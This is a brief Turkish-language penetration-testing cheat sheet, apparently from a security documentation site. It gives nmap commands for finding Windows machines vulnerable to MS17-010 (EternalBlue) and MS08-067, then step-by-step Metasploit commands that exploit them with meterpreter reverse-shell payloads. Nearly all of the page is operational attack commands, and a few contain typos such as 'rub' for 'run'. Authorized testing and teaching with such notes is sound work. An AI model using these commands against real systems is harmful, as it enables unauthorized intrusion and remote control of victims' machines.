> For the complete documentation index, see [llms.txt](https://security.musana.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security.musana.net/windows/nmap-ms17-010.md).

# MS17-010

> Öncelikle aşağıdaki nmap komutu ile eternal blue zafiyetine sahip makineler listelenir.
>
> ```
> nmap -p445 --script smb-vuln-ms17-010 <target>
> ```
>
> Zafiyetli makineler bulunduktan sonra metasploit ile expxloit etmek için aşağıdaki yönergeler uygulanmalıdır.
>
> * msf > use exploit/windows/smb/ms17\_010\_eternalblue.
> * msf > set payload windows/x64/meterpreter/reverse\_tcp
> * msf > set LPORT L\_PORT
> * msf > set LHOST L\_IP
> * msf > set RHOST R\_IP
> * msf > set RPORT R\_PORT
> * msf > rub

### ms17-010\_psexec metasploit modüle

```
msf > use windows/smb/ms17_010_psexec
msf > set RHOSTS IP
msf > set payload windows/meterpreter/reverse_tcp_rc4
msf > set RC4PAsSWORD  pass
msf > set LHOST KALI_IP
msf > set LPORT 443
msf > exploit
```

#### MS08-67

```
root@kali:~# nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 IP
```